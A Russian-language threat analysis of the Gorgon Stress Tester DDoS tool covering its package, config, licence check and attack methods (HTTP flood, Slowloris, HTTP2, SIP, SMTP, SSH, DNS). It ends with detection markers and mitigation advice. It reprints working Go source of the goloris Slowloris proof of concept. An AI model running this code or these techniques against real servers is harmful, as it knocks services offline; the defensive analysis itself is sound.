Оглавление


Введение

С 2022 года геополитическая обстановка в мире резко изменилась, и злоумышленники начали наносить киберудары по российским компаниям с беспрецедентной частотой. Резко выросло число как целевых атак, так и массовых, включая DDoS. Одной из утилит для проведения DDoS является Gorgon Stress Tester, чья функциональность предоставляет множество методов воздействия. Начиная с версии 1.9.2 (первое упоминание 18 марта 2024 года), инструмент публикуется в открытом доступе в Telegram (в каналах, посвященных хактивизму против России). Таким образом авторы подобных каналов хотели сделать проведение DDoS более доступным.

Конечно, данная утилита не является единственной в своем роде, существуют и другие (adss, db1000n, Distress и другие) – о части из них уже рассказывали наши коллеги. Мы же решили написать именно о Gorgon Stress, так как ее все чаще используют проукраинские хактивисты. Специалистам в области кибербезопасности понимание таких инструментов помогает лучше понять механизмы их действия и разработать эффективные стратегии противодействия. А широкому кругу пользователей - осознать важность защиты своих данных и систем.

Поэтому, словно Персей, попробуем заглянуть в глаза ужасной Горгоне.



Анализ утилиты

Анализ .deb пакета

Gorgon распространяется в виде .deb пакета, который имеет следующее описание (как на изображении ниже) и в виде зависимостей имеет tor, xvfb, openjdk 11. Для анализа взята версия 1.9.7.9.

Описание .deb пакета
Описание .deb пакета

Утилита устанавливается в виде сервиса со следующим конфигом.

    
[Unit]
Description=gorgon-stress
After=syslog.target network.target
        
[Service]
        
User=root
Group=root
Type=simple
RemainAfterExit=yes
ExecStart=/opt/gorgon-stress/gorgon
ExecReload=/bin/kill -HUP $MAINPID
WorkingDirectory=/opt/gorgon-stress/
LimitNOFILE=999999
Restart=on-failure
RestartSec=10
KillMode=process
Restart=always
        
[Install]
WantedBy=multi-user.target
    
gorgon-stress.service

При установке основная директория gorgon stress располагается в /opt/gorgon-stress, далее приведен postinst скрипт.

    
#!/bin/bash
# postinst script for stress
        
# Reload systemd manager configuration
systemctl daemon-reload
        
# Reload tor configuration
#mv /etc/tor/torrc /etc/tor/old_torrc
#cp /opt/gorgon-stress/torrc /etc/tor/torrc
        
# Check if the original torrc file exists
if [ -f /etc/tor/old_torrc ]; then
    # Move the current torrc file to old_torrc
    mv /etc/tor/old_torrc /etc/tor/torrc
    echo "Moved existing old_torrc to torrc."
fi
        
pkill tor
systemctl stop tor
systemctl start tor
systemctl enable tor
        
# Enable and start your service
CUSTOM_CONFIG="/opt/gorgon-stress/config.json"
DEFAULT_CONFIG="/opt/gorgon-stress/config.json.distr"
        
# Check if the custom configuration file exists
if [ ! -f "$CUSTOM_CONFIG" ]; then
    # If the custom config doesn't exist, copy the default one
    cp "$DEFAULT_CONFIG" "$CUSTOM_CONFIG"
fi
        
systemctl stop gorgon-stress
systemctl start gorgon-stress
systemctl enable gorgon-stress        
    
Postinst

В скрипте postinst можно заметить файлы config.json.distr, а также torrc и url.csv. Файл конфигурации по умолчанию выглядит следующим образом:

    
{
    "listen": "0.0.0.0:777",
    "login": "admin",
    "password": "admin1234",
    "server": true,
    "worker": true,
    "serverurl": "http://127.0.0.1:777",
    "tickerinterval": 5,
    "lunaproxyAppKey" : "",
    "lunaproxyNeek" : "",
    "torNumPortsPerInstance": 10,
    "torNumInstances" : 10,
    "IdentityRenewalInterval": 900000000000
}       
    
config.json.distr

Из анализа файла конфигурации можно предположить, что сервис Gorgon Stress инициализирует http-сервер на всех интерфейсах на порту 777 с учетными данными по умолчанию admin:admin1234. Строки lunaproxyAppkey и lunaproxyNeek намекают на возможность использования для атак LunaProxy. Строки torNumPortsPerInstance и torNumInstances инициализируют инстансы Tor. Поле IdentityRenewalInterval указывает время, через которое необходимо обновить tor identity.

В файле torrc (на рисунке ниже) указан диапазон портов (SocksPort, 9055-9195), которые Tor будет использовать для входящих SOCKS запросов. ControlPort устанавливает порт, на котором будет работать интерфейс управления Tor. Значение IPv6Exit, установленное в единицу, разрешает Tor использовать выходные соединения через IPv6.

torrc
torrc

В файле url.csv (рисунок ниже) содержатся URL-адреса списков прокси в формате ТИП_ПРОКСИ, URL. В данном списке перечислены только SOCKS5 прокси.

url.csv
url.csv


Технический анализ исполняемого файла

Общие сведения

Утилита Gorgon Stress представлена в виде исполняемого файла (ELF), написанного на golang. Данный файл не обфусцирован, все символы находятся в открытом виде, что облегчает анализ исходного кода. В момент запуска программы на 777 порту поднимается веб-сервер с Basic-авторизацией. Веб-интерфейс выглядит следующим образом:

Веб-интерфейс
Веб-интерфейс

Примечательно, что данное ПО, как оказалось, имеет механизм проверки лицензии. Сам файл лицензии не предоставляется в Telegram, нелицензированная версия, как заявляется, имеет ограниченную функциональность. Также утилита при запуске на основе UUID системы генерирует LicenseID.

LicenseID
LicenseID

Значение LicenseID получается в результате вычисления SHA512 от UUID системы.

Генерация LicenseID
Генерация LicenseID

Данное значение затем используется для валидации файла лицензии при его наличии.

Проверка наличия файла лицензии
Проверка наличия файла лицензии

В зависимости от валидности лицензионного ключа затем устанавливается либо сбрасывается значение глобальной bool-переменной licenseValid. Значение этой переменной меняется также и в функции licenseHandler, которая отвечает за обработку лицензионного ключа, введенного в форму в веб-интерфейсе программы.

Валидность лицензии
Валидность лицензии

Забавным фактом в лицензировании данного ПО является то, что несмотря на использование RSA для валидации лицензионного ключа, проверку можно обойти, поменяв всего один байт в программе. Отсутствие лицензии позволяет только атаковать цели, имеющие RU IP-адрес, а также ограничивает конфигурацию атаки. Значение GoMaxProcs ограничивает число тредов, выделяемых для горутинов. Все значения в лицензируемой версии берутся из введенных в веб-интерфейсе.

Ограничения при отсутствии лицензии
Ограничения при отсутствии лицензии

После проверки лицензии и первичной инициализации работы утилиты в цикле запускается главная функция, обрабатывающая введенные параметры атаки и выполняющая саму атаку в зависимости от ее типа, DialWorker (число воркеров изначально указывается в веб-интерфейсе или равно 10 при отсутствии лицензионного ключа).

Приложение также использует пакет embed, который позволяет встраивать вложенные файлы в исполняемый файл. Извлекая их (для этого можно использовать утилиту Gembe, подробнее про go embeds тут), получаем следующую организацию файлов приложения:

Файловая структура приложения
Файловая структура приложения

Файл public_key.pem содержит публичный ключ, используемый при проверке лицензии, ua.txt содержит список юзер агентов, которые случайно используются в запросах.

Список user-agent
Список user-agent

Типы атак

В документации к данной утилите версии 1.9.3 указано, что существует семь видов атак:

  • Slowdos HTTP – Атака Slow Loris. Регулируется параметром Timeout;
  • Flood HTTP – Обычный HTTP флуд;
  • SMTP – Атака на SMTP сервер;
  • SSH – Отправка безмерного числа запросов на SSH сервер;
  • TCP – Тестирование сервера на обработку большого количества TCP соединений;
  • DNS:TCP – Тестирование DNS сервера на обработку большого числа запросов через TCP;
  • TRAF – Симуляция кастомного трафика для анализа поведения сервера.

В версии 1.9.7.9 (последней на момент публикации) вдобавок ко всему из веб-интерфейса доступны также SIP:TCP и HTTP2 атаки:

Типы атак в веб интерфейсе утилиты
Типы атак в веб интерфейсе утилиты

Среди функций, помимо уже перечисленных методов, есть и DNS:UDP. Похоже, авторы не успели добавить ее в веб-интерфейс или она еще в разработке (в функции DialWorker есть ветка, которая проверяет имя типа атаки на DNS:UDP, однако в веб-интерфейсе это не отражено). Тем не менее, атаку можно запустить через POST-запрос, но ничего не происходит.

Новая функциональность
Новая функциональность

Примечательно, что большинство методов имеют приставку doLoris, намекая тем самым на атаку SlowLoris, однако название не всегда соответствует функционалу. Например, сложно представить loris атаку для UDP в случае с функцией doLorisDNSudp. Рассмотрим каждый из методов подробнее.

Тип атаки TCP обрабатывает функция doTcpFlood. Ее название полностью описывает функциональность. На заданный хост посылается безмерное число TCP-запросов. Атаки типа TCP и TRAF довольно тривиальны, и их смысл заключается в отправке большого числа запросов на сервер.

doTcpFlood
doTcpFlood

HTTP Flood обрабатывается в функции doLorisL7. Здесь все немного интереснее. Данная функция позволяет отправлять как GET, так и POST-запросы. Последний отправляется в случае, если в интерфейсе заполнено поле PostData. В данной функции реализована случайная выборка юзер-агентов из файла ua.txt, выборка accept-language из предопределенного списка, генерация случайного IP для заголовка X-Forwarded For, а также возможность использования кастомных заголовков. Также из веб-интерфейса можно выбирать варианты заголовка Content-Type.

HTTP Flood
HTTP Flood
Список возможных accept-language
Список возможных accept-language
Content-Type
Content-Type

Отдельного внимания заслуживает функция parseURLTemplate. Она может обрабатывать следующие значения, введенные в поле URL.

Вычисление хэш функции:

  • {BLAKE2B}
  • {BLAKE2S}
  • {SHA512}
  • {SHA384}
  • {SHA256}
  • {SHA224}
  • {MD5}
  • {SHA1}
  • {SHA3}

Вычисление случайных значений:

  • {NUMBER} – случайное число
  • {STRING} – Случайная ASCII строка
  • {STRING_RU} – Случайная строка в кириллице

Шаблон строки имеет вид {TYPE;RANGE}, например {NUMBER;0-5}. В случае, если нужно сгенерировать случайную строку или число, данное значение выражает диапазон длины генерируемой строки или числа. При использовании для подстановки хэш-функции указанный RANGE на результат функции не влияет, так как вычисление хэша будет производиться от случайной последовательности байт размера 16. Для шаблонизатора RANGE является обязательным значением.

Кстати, при отсутствии разделителя «;», воркер улетает в бесконечный цикл. Данный шаблонизатор актуален не только для URL, но и для POST параметров, а также заголовков. Шаблонизатор актуален только для данного типа атаки.

Тип атаки Slowdos HTTP представляет собой классическую Slow Loris атаку (goloris). Происходит отправка сначала заголовков, а затем с выдержанным интервалом всех остальных данных. Кастомизация для данного типа атаки отсутствует, тип запроса всегда POST, Content-Type не меняется из веб-интерфейса, происходит генерация случайного user agent (в этом типе атаки уже используется пакет corpix/uarand), Accept-Language, а также заголовка X-Forwarded-For. Пример сгенерированного запроса приведен на рисунке ниже:

Пример запроса slowdos
Пример запроса slowdos

Тип атаки HTTP2 предназначен для веб-серверов, использующих соответствующий протокол. Обработка происходит в функции doLorisHTTP2. Сначала происходит отправка preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n”, затем создается экземпляр класса http2/framer, происходит отправка settings (RFC 9113), затем происходит отправка заголовков (:method – GET, генерируется случайный user agent с помощью библиотеки corpix/uarand) и формирование запроса. Данный тип атаки довольно тривиален за исключением необходимости реализации особенностей протокола. Для работы с фреймами используется класс net/http2/Framer.

prepareHeaders
prepareHeaders

SIP:TCP реализует атаку SIP Flood. В функции doSipFlood происходит генерация случайного контакта, выбирается один из доменов верхнего уровня com, net, org, info, biz, ru, su (пример контакта - RgTyRWBzAc@RgTyRWBzAc.biz, iCmTthMtgk@iCmTthMtgk.ru). Подобный маркер мог бы быть использован при разработке детектирующей логики. Примечательно, что имя пользователя в запросе всегда совпадает с доменом. Также генерируется случайный CallID. Пример пакета приведен на рисунке ниже.

Пример OPTIONS запроса
Пример OPTIONS запроса

Тип атаки SMTP обрабатывается в функции SMTPFlood. Сначала отправляется HELO-пакет. В качестве идентификатора домена в таком пакете выступает строка, введенная в поле Host Header веб-интерфейса программы. Затем случайным образом выбирается одна из команд (NOOP, EXPN, VRFY). В случае выбора команд EXPN или VRFY с помощью функции generateRandomContact генерируется случайный контакт. Это та же самая функция, что используется в типе атаки SIP TCP, т.е. пользователь и домен совпадают. Эти маркеры атаки могут использоваться для детектирования подозрительного трафика.

doSmtpFlood
doSmtpFlood

Тип атаки SSH Flood предполагает флуд пакетами клиента со значением SSH-2.0-Client. К примеру, для клиента OpenSSH данная строка имеет вид SSH-2.0-OpenSSH_for_Windows_8.6 или SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10 (т.е. строка вида SSH-2.0-OpenSSH_СИСТЕМА)

Строка клиента
Строка клиента

Данная атака также хорошо видна в логах sshd и имеет вид, представленный на рисунке ниже.

Лог во время атаки
Лог во время атаки

Атака типа DNS:TCP обрабатывается функцией doLorisDNStcp. Данная функция генерирует большое количество тяжеловесных DNSKEY/RRSIG-запросов. В качестве ключей и подписей используются случайные строки, а запрос формируется по имени хоста/FQDN с префиксом в виде случайной строки:

Пример запроса
Пример запроса


Сходство с уже существующими утилитами

Многие функции имеют приставку doLoris, поиск по строкам приводит на репозиторий goloris, созданный пользователем valyala (Aliaksandr Valialkin) и является Proof of Concept для Slow Loris атаки на golang. Сходство есть не только в нейминге функций, но и в самом коде (функция doLoris). Многие сходства (включая конфиг), говорят о том, что утилита Gorgon является прямой идейной наследницей goloris.

    
var (
contentLength    = flag.Int("contentLength", 1000*1000, "The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size")
dialWorkersCount = flag.Int("dialWorkersCount", 10, "The number of workers simultaneously busy with opening new TCP connections")
goMaxProcs       = flag.Int("goMaxProcs", runtime.NumCPU(), "The maximum number of CPUs to use. Don't touch :)")
rampUpInterval   = flag.Duration("rampUpInterval", time.Second, "Interval between new connections' acquisitions for a single dial worker (see dialWorkersCount)")
sleepInterval    = flag.Duration("sleepInterval", 10*time.Second, "Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout")
testDuration     = flag.Duration("testDuration", time.Hour, "Test duration")
victimUrl        = flag.String("victimUrl", "http://127.0.0.1/", "Victim's url. Http POST must be allowed in nginx config for this url")
hostHeader       = flag.String("hostHeader", "", "Host header value in case it is different than the hostname in victimUrl")
)
...
    
Конфигурация из репозитория goloris

    
func main() {
    flag.Parse()
    flag.VisitAll(func(f *flag.Flag) {
        fmt.Printf("%s=%v\n", f.Name, f.Value)
    })
        
    runtime.GOMAXPROCS(*goMaxProcs)
        
    victimUri, err := url.Parse(*victimUrl)
    if err != nil {
        log.Fatalf("Cannot parse victimUrl=[%s]: [%s]\n", victimUrl, err)
    }
    victimHostPort := victimUri.Host
    if !strings.Contains(victimHostPort, ":") {
        port := "80"
        if victimUri.Scheme == "https" {
            port = "443"
        }
        victimHostPort = net.JoinHostPort(victimHostPort, port)
    }
    host := victimUri.Host
    if len(*hostHeader) > 0 {
        host = *hostHeader
    }
    requestHeader := []byte(fmt.Sprintf("POST %s HTTP/1.1\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n",
        victimUri.RequestURI(), host, *contentLength))
        
    dialWorkersLaunchInterval := *rampUpInterval / time.Duration(*dialWorkersCount)
    activeConnectionsCh := make(chan int, *dialWorkersCount)
    go activeConnectionsCounter(activeConnectionsCh)
    for i := 0; i < *dialWorkersCount; i++ {
        go dialWorker(activeConnectionsCh, victimHostPort, victimUri, requestHeader)
        time.Sleep(dialWorkersLaunchInterval)
    }
    time.Sleep(*testDuration)
}        
    
Функция main

    
func dialWorker(activeConnectionsCh chan<- int, victimHostPort string, victimUri *url.URL, requestHeader []byte) {
    isTls := (victimUri.Scheme == "https")
    for {
        time.Sleep(*rampUpInterval)
        conn := dialVictim(victimHostPort, isTls)
        if conn != nil {
            go doLoris(conn, victimUri, activeConnectionsCh, requestHeader)
        }
    }
}
        
func activeConnectionsCounter(ch <-chan int) {
    var connectionsCount int
    for n := range ch {
        connectionsCount += n
        log.Printf("Holding %d connections\n", connectionsCount)
    }
}
        
func dialVictim(hostPort string, isTls bool) io.ReadWriteCloser {
    // TODO hint: add support for dialing the victim via a random proxy
    // from the given pool.
    conn, err := net.Dial("tcp", hostPort)
    if err != nil {
        log.Printf("Couldn't esablish connection to [%s]: [%s]\n", hostPort, err)
        return nil
    }
    tcpConn := conn.(*net.TCPConn)
    if err = tcpConn.SetReadBuffer(128); err != nil {
        log.Fatalf("Cannot shrink TCP read buffer: [%s]\n", err)
    }
    if err = tcpConn.SetWriteBuffer(128); err != nil {
        log.Fatalf("Cannot shrink TCP write buffer: [%s]\n", err)
    }
    if err = tcpConn.SetLinger(0); err != nil {
        log.Fatalf("Cannot disable TCP lingering: [%s]\n", err)
    }
    if !isTls {
        return tcpConn
    }
        
    tlsConn := tls.Client(conn, tlsConfig)
    if err = tlsConn.Handshake(); err != nil {
        conn.Close()
        log.Printf("Couldn't establish tls connection to [%s]: [%s]\n", hostPort, err)
        return nil
    }
    return tlsConn
}        
    
goloris
    
func doLoris(conn io.ReadWriteCloser, victimUri *url.URL, activeConnectionsCh chan<- int, requestHeader []byte) {
    defer conn.Close()
        
    if _, err := conn.Write(requestHeader); err != nil {
        log.Printf("Cannot write requestHeader=[%v]: [%s]\n", requestHeader, err)
        return
    }
        
    activeConnectionsCh <- 1
    defer func() { activeConnectionsCh <- -1 }()
        
    readerStopCh := make(chan int, 1)
    go nullReader(conn, readerStopCh)
        
    for i := 0; i < *contentLength; i++ {
        select {
        case <-readerStopCh:
            return
        case <-time.After(*sleepInterval):
        }
        if _, err := conn.Write(sharedWriteBuf); err != nil {
            log.Printf("Error when writing %d byte out of %d bytes: [%s]\n", i, *contentLength, err)
            return
        }
    }
}             
    
doLoris


Выводы и советы по защите от подобных атак

Функциональность и простота использования Gorgon Stress Tester сделала ее доступной для широкой аудитории, включая хактивистов, а, значит, крайне опасной для потенциальных целей - организаций в России.

DoS или DDoS-атаки могут нанести серьезный удар по инфраструктуре компании: от нарушения работы отдельных сервисов до полной приостановки работы ключевых ресурсов. Это ведет к значительным финансовым и репутационным потерям. Рассмотренные в настоящей статье в рамках утилиты Gorgon Stress типы атак в большей степени относятся к Layer 7. Часть из них, а именно SIP, SMTP, SSH, имеют очень явные маркеры, а потому приведенная в нашем анализе информация может быть использована при разработке детектирующей логики.

Для борьбы с DDoS можно использовать следующие методы и инструменты:

  • Балансировщики нагрузки. Входящий трафик таким образом распределяется между несколькими серверами, что может впоследствии смягчить последствия DDoS;
  • Использование CDN. Они также предоставляют возможности распределения нагрузки, имеют функцию кэширования контента и зачастую предлагают встроенные механизмы защиты для фильтрации вредоносного трафика;
  • Мониторинг, анализ и фильтрация трафика. В том числе использование межсетевого экрана уровня приложений (WAF);
  • Изоляция критически важных сервисов. В том числе с использованием VPN для доступа к ним;
  • Ограничение числа запросов (Rate Limiting).

Довольно трудно представить себе универсальное решение, которое обеспечивало бы полную защиту от DDoS-атак. Поэтому крайне важно иметь план действий на случай возникновения подобных инцидентов и эшелонированную защиту корпоративных онлайн-ресурсов.